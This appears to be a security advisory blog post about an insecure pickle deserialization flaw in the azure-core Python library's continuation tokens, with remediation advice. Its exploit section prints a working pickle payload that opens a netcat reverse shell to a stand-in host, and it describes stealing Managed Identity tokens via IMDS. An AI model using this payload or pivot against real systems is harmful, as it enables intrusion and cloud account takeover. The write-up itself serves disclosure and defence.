Feb 20, 2026·7 min read·47 visits
The Azure Core library for Python was catching state in 'continuation tokens' using the unsafe `pickle` format. By crafting a malicious token, an attacker can force the library to deserialize arbitrary code, leading to RCE. Patched in version 1.38.0.
A critical insecure deserialization vulnerability in the `azure-core` Python library allows for Remote Code Execution (RCE). The library, which serves as the foundation for nearly all Azure SDKs, used Python's `pickle` module to serialize continuation tokens for paging and long-running operations. Attackers can supply malicious tokens to trigger arbitrary code execution.
In the modern cloud ecosystem, abstraction is king. Developers don't want to think about HTTP retries, authentication handshakes, or the nitty-gritty of pagination. They just want to call client.list_blobs() and iterate through the results. Enter azure-core, the unsung hero (and essentially the circulatory system) of the Microsoft Azure SDK for Python. If you are using azure-storage, azure-identity, or azure-mgmt, you are using azure-core. It handles the plumbing so you don't have to.
One of the specific plumbing features azure-core manages is the concept of Continuation Tokens. When you ask Azure for a list of a million resources, it doesn't send them all at once. It sends a page, and a bookmark—a token—that says, 'If you want the next page, show me this token.' It's a standard pagination pattern. State is offloaded to the client, effectively making the server stateless regarding your specific iteration cursor.
The problem arises in how that bookmark was constructed. Ideally, a continuation token is an opaque string, a simple JSON object, or a signed hash. But in a classic case of 'it works on my machine' architectural shortcuts, the developers opted for Python's native serialization format: pickle. And if you've been in the security game for more than five minutes, seeing the word pickle in a library designed to handle data crossing trust boundaries should make your blood run cold.
The vulnerability (CWE-502) here is textbook insecure deserialization. Python's pickle module is explicitly not secure against erroneous or maliciously constructed data. The documentation literally comes with a warning box that says 'Never unpickle data received from an untrusted or unauthenticated source.' Yet, that is exactly what azure-core was doing.
Here is the logic flow that led to disaster:
pickle.dumps(), base64-encodes it, and hands it to the user as a token.pickle.loads().The fatal flaw is assuming that the token coming back from the client is the same one the server sent out. In a web application where these tokens might be exposed to the end-user (e.g., via a URL parameter ?nextPage=...), an attacker is not bound by honor to return the original token. They can return anything.
Because pickle is a stack-based virtual machine capable of constructing arbitrary objects during reconstruction, an attacker doesn't need to guess the internal state structure. They just need to construct a pickle stream that defines a class with a __reduce__ method. When the pickle machine encounters this, it executes the specified callable—typically os.system or subprocess.Popen—giving the attacker code execution running with the privileges of the Python process.
Let's look at the smoking gun. While the actual library code is complex, the vulnerability boils down to a few lines in the paging and polling modules. The commit that killed this bug is 6d2e6431ea0991861640e449e51e894247a7771a. It’s a massive refactor, which tells us that ripping out pickle wasn't easy.
The Vulnerable Pattern (Conceptual):
import pickle
import base64
class VulnerablePager:
def get_continuation_token(self):
# Serialize the entire state object. Easy!
return base64.b64encode(pickle.dumps(self._internal_state))
def load_from_token(self, token):
# Deserialize blindly. What could go wrong?
data = base64.b64decode(token)
self._internal_state = pickle.loads(data) # <--- BOOMThe Fix (v1.38.0):
The patch completely removes pickle from the equation. Instead of serializing arbitrary Python objects, the new implementation strictly defines the data it needs to restore state and serializes it using safe formats (like JSON) or internal logic that validates the structure before assignment.
> [!NOTE]
> The fix wasn't just a one-line change. It required changing how azure-core thinks about state persistence, ensuring that only data (strings, ints) is stored, rather than executable code objects.
Exploiting this is trivially easy for anyone familiar with Python internals. We don't need buffer overflows or heap grooming. We just need to define what we want Python to do when it sees our data.
The Scenario:
Imagine a web application that uses the Azure SDK to list storage blobs. It exposes a continuation_token parameter in the URL to let users page through files.
GET /list_files?token=BaSe64StRiNg...
The Attack:
import pickle
import base64
import os
class Exploit(object):
def __reduce__(self):
# The command to run on the target server
cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|'
'/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')
return (os.system, (cmd,))
# Generate the malicious token
payload = pickle.dumps(Exploit())
token = base64.b64encode(payload).decode()
print(f"Malicious Token: {token}")Delivery: The attacker sends the generated base64 string to the vulnerable endpoint.
GET /list_files?token=gASV...
Execution: The application receives the token, passes it to azure-core to 'resume' the listing. azure-core decodes it and passes it to pickle.loads(). The __reduce__ method fires immediately during deserialization, executing the reverse shell command. The application hangs (or crashes), but the attacker now has a shell on the server.
Why is this a 7.5 (High) and not a critical 10? The CVSS score is slightly tempered by Attack Complexity (High) and Privileges Required (Low). This is because the attacker needs to find an entry point where they can feed a token into the library.
However, in a real-world assessment, the impact is catastrophic:
azure-core is running inside Azure (Functions, App Service, AKS) with a Managed Identity. If I get RCE on your pod, I can query the Instance Metadata Service (IMDS), steal your Managed Identity token, and pivot into your Azure subscription. I am now your cloud admin.The remediation is straightforward but urgent.
Immediate Action:
Upgrade azure-core to version 1.38.0 or later immediately.
pip install --upgrade azure-coreVerify the Fix:
Check your dependency tree. Often azure-core is a transitive dependency (installed by azure-storage-blob or azure-identity). Ensure the resolved version is safe.
pip freeze | grep azure-coreThe Lesson:
This vulnerability serves as a stark reminder of the dangers of convenience. pickle is convenient. It saves developers from writing serialization schemas. But convenience in security is often synonymous with vulnerability. If you are serializing data to be held by a client, assume the client is a hostile actor. Never use pickle, Marshal, or Java Serialization for data crossing trust boundaries. Stick to JSON, or if you must use binary formats, sign them cryptographically (HMAC) and validate the signature before deserialization.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
azure-core Microsoft | < 1.38.0 | 1.38.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 (Deserialization of Untrusted Data) |
| CVSS v3.1 | 7.5 (High) |
| Attack Vector | Network |
| Privileges Required | Low |
| Impact | Remote Code Execution (RCE) |
| Affected Component | azure-core < 1.38.0 |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.